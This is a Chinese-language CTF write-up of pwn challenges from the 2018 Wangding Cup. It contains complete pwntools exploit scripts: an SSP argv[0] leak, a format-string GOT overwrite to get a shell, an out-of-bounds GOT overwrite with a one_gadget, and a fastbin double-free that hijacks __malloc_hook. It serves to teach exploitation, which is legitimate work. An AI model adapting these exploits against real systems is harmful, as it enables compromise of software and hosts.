2018-网鼎杯-pwn(部分线上+线下)

线上第一场:

pwn–guess

可以看到,这题是把flag存在栈里面,然后让你去猜flag,这种题目一看就是让你泄漏出flag来,不需要进行getshell

这里可以看到,使用了线程的方法,因此就算是栈溢出崩溃了也没关系,让用户输入三次,那么我们就可以利用这三次去泄漏出flag 刚刚好分三步走:

  1. 泄漏libc的基址
  2. 泄漏environ的地址(也就是栈的地址)
  3. 泄漏flag

以上的三次泄漏都离不开一种叫做ssp的方法,就是通过栈溢出报错信息,泄漏出指定地址的方法:stack smashing detected:+argv[0] 如果我们覆盖argv[0],便会输出特定字符串

这个argv[0]在哪里找呢,首先你可以用gdb调试出来,在栈里面很高的位置,你可以看到他是指向文件名的: 找到argv[0]的地址后,就可以通过减去到栈上的地址,得到偏移 但实际,还有一种简单的方法可以直接找到这个地址:

于是我们每次在gets输入的时候就构造足够的填充字符,以覆盖掉argv[0]的位置 从而泄漏出我们想要泄漏的地址内容

第一次泄漏puts的真正地址,也是在argv[0]处覆盖为puts_got,由此计算出libc的基址,从而拿到真正的_environ的地址 第二次泄漏_environ,也就是栈的地址,也是在argv[0]处覆盖为_environ 为什么泄漏_environ可以泄漏出栈的地址呢? 是因为: 在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section) 用来存储系统环境变量的一份复制文件,进程在运行时可能需要。 例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。 该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。 *environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。

环境表是一个表示环境字符串的字符指针数组,由name=value这样类似的字符串组成,它储存在整个进程空间的的顶部,栈地址之上 其中value是一个以”\0″结束的C语言类型的字符串,代表指针该环境变量的值 一般我们见到的name都是大写,但这只是一个惯例

下面就是一个环境表的示意图: 相关姿势详细可见:http://tacxingxing.com/2017/12/16/environ/

总之,我们需要泄漏出栈的地址,才能泄漏出flag,而environ存着栈的地址,那么我们就泄漏它

第三次泄漏就是直接泄漏flag了,有了栈的地址,根据flag在栈上面的偏移很容易就可以泄漏出flag了 exp如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf = ELF("./GUESS")
#p = remote('106.75.90.160', 9999)
p = process("./GUESS")

puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)


payload = 'a'* 296 + p64(puts_got)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)

libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
print "libc_base:"+hex(libc_base)
print "environ:"+hex(environ_addr)

payload = 'a'*296 + p64(environ_addr)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')

print "stack_addr:"+hex(stack_addr)

gdb.attach(p)
pause()

p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)
p.sendline(payload)

p.interactive()

pwn–blind

这题也是比较骚的一题,将堆和IO_FILE的操作结合在一起 从上面可以看到,开了full relro,意味着不能修改函数的got表

———填坑ing———


线上第二场:

pwn–easyFMT

这是一道纯格式化利用的题目,因为不太熟练有关格式化漏洞的操作,做这题还花了一点时间,顺便倒回去复习了一波,发现这个格式化字符串骚起来还是有很多操作的,日后有时间专门总结一波各种用法吧 这题的逻辑还是比较简单的,也没开多少保护

分三步解题:

  1. 泄漏函数的真正地址,从而得到libc的版本和基址
  2. 改printf函数的got表为system的真实地址
  3. 输入“/bin/sh”在执行printf(&buf)的时候变相执行“system(/bin/sh)”

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux",log_level = "debug")
#p = remote("106.75.126.184", 58579)
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.23-0ubuntu10_i386.so")
#这个libc是在泄漏puts函数地址后得,再去通过libcdatabase下载到本地的
puts_got = elf.got["puts"]
puts_libc = libc.symbols["puts"]
print "puts_got:"+hex(puts_got)

printf_got = elf.got["printf"]
system_libc = libc.symbols["system"]

payload = p32(puts_got) + '%6$s'
p.recvuntil("Do you know repeater?\n")
p.sendline(payload)
data = p.recv()
print data
puts = u32(data[4:8])#这里通过观察发现取第5--第8个字节才是puts的真正地址
print "puts---->"+hex(puts)
libc_base = puts - puts_libc
print "libc_base---->"+hex(libc_base)

system = system_libc+libc_base
payload = fmtstr_payload(6,{printf_got:system})
#pwntools下的一个工具,意思是在格式化字符串参数偏移为6,改printf_got的内容为system,非常方便直接利用

p.sendline(payload)
p.sendline('/bin/sh\0')
p.interactive()

pwn–Fgo

这题原题。。。出题人只是简单的把原题的函数名字和各种变量名字改了一下而已,醉了,跟hitcon-training的lab10hacknote一毛一样,就懒得写具体的解法了、、直接找原题做,然后原题的wp一堆


网鼎杯线下半决赛

pwn1

———填坑ing———–


pwn2

这种题目的类型叫做brainfuck 第一次接触这类题目,太菜了,直接导致了线下赛的失利,其实认真分析一波发现并不难

开启了常规的保护机制,接着就是理解题意: 输入一串不长于0x400的字符串 如果遇到>则数组a的下标index则+1 如果遇到<则数组a的下标index则-1 如果遇到+则数组a的元素a[index]的值+1 如果遇到-则数组a的元素a[index]的值-1 如果遇到.则输出数组a的元素a[index]的值 如果遇到则向数组a的元素a[index]输入一个字节的值 充分理解了上面的规则,实际上就可以完成任意地址的读写了 后面的有关[] 的规则都不重要了,通过对上面的规则的利用就足以解题了 这题没有直接的后门函数,也不能栈溢出,也不是堆的漏洞,这种情况,就一般采用改某个函数的got表,从而改变函数的执行流程,也就需要用到one_gadget一梭子getshell 这里可以看到,a数组和index都在bss上存储,同时bss上面存在stderr,stdin,stdout,就可以利用这些来泄漏libc的基址,要泄漏他们则需要使得index指向他们,这里用数组下标溢出的方法就行了,输入负数,就可以使得index指向a数组往上的位置 同时,通过下图可以发现,函数的got表离bss段上的a数组很近,可以很方便地构造修改got表的操作 具体的exp如下

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./pwn2")

elf = ELF("./pwn2")

libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')


#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def getshell():
	p.interactive()



stdout = 0x602080
stderr = 0x6020A0
buf = 0x6020c0

offset1 = buf- stdout
exit_got = elf.got["exit"]
offset2 = stdout - exit_got +5
print "exit---->"+hex(exit_got)
print "offset1--->"+hex(offset1)
print "offset2--->"+hex(offset2)

payload = "<"*offset1
payload += ".>.>.>.>.>."
payload += "<"*offset2
payload += ",>,>,>,>,>,>,>,"
print payload
ru("Put the code: ")
sl(payload)

_IO_2_1_stdout_ = u64(p.recv(6).ljust(8,"\x00"))
libc_base = _IO_2_1_stdout_ - libc.symbols["_IO_2_1_stdout_"]
onegagde = libc_base+0xf1147
print "_IO_2_1_stdout_--->"+hex(_IO_2_1_stdout_)
print "libc_base--->"+hex(libc_base)

p.send(p64(libc_base+0xf1147))
getshell()

pwn3

保护机制全开的一题,看起来很难,当时是把我吓住了,后面回去复现才发现只是用了fastbin_attack的方法 整个程序由多个功能函数组成

create:

先创建了一个0x28大小的chunk来存储三个信息,一是标志位flag,二是name的位置,三是tpye的内容,其中name的位置是一个chunk指针,指向了一个用户指定大小的chunk用于存储name的内容 接着这个0x28大小的chunk被存储到bss段中去,表示每一个不同的character,这里和常规的堆的题目一样,都有这样的chunk_list存在

show: 常规操作,把chunk的内容给打印输出来

delete: 这个delete函数的功能只是把name所在的chunk给free掉了,而先前创建0x28大小的chunk并没有被free掉 只有在clean函数,如下图,才是把先前创建0x28大小的chunkfree掉

此外,程序中还有一个admin函数,似乎能实现很多操作,但我没深入去逆它,有点复杂,仅仅通过上面介绍的几个函数功能就能实现解题

解题的思路如下:

  • 首先通过unsorted_bin,free掉一个chunk,让它进入unsorted_bin表,使得fd指向表头,然后通过泄漏出的地址,通过一顿偏移的操作,泄漏出malloc_hook的地址,进而泄漏出libc的基址
  • 利用double-free,使得下一个新创建的chunk会落在malloc_hook上,进而改了malloc_hook的地址,改变程序执行流程

ps:这里需要注意的是,在构造double-free的时候,需要注意绕过他的检验,使得fd+0x08指向的数值是0x70~0x7f的,fd指向pre_size位,fd+0x08则指向了size位。具体原理可见:

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/#fastbin-double-free

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
port=0
if ip:
	p = remote(ip,port)
else:
	p = process("./pwn3")

elf = ELF("./pwn3")
#libc = ELF("./libc-2.23.so")
libc = elf.libc

#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
def create(Length,n,t):
	ru("Your choice : ")
	sl("1")
	ru("Length of the name :")
	sl(str(Length))
	ru("The name of character :")
	sd(n)
	ru("The type of the character :")
	sd(t)

def show():
	ru("Your choice : ")
	sl("2")

def delete(index):
	ru("Your choice : ")
	sl("3")
	ru("Which character do you want to eat:")
	sl(str(index))

def clean():
	ru("Your choice : ")
	sl("4")

create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')

delete(0)
clean()
#这里需要注意,delet完以后还得clean保证一个character中的两个chunk都被free了
#否则下面新创建chunk的时候会导致分配不到跟原先一样的指针

create(0x98,'a'*8,'1234')
show()
ru("a"*8)

leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
#通过泄漏出的libc去onegadget中找

delete(1)
delete(2)
delete(1)
#debug()
create(0x68,p64(malloc_hook - 0x23),'1234')
#该0x23为调试所得,具体可以在gdb中查看内存找到,能绕过double-free的检测机制即可
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x68,"a"*0x13+p64(one_gadget),'1234')

delete(0)
delete(0)
getshell()
'''

#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell
/* Another simple check: make sure the top of the bin is not the
       record we are going to add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
}
'''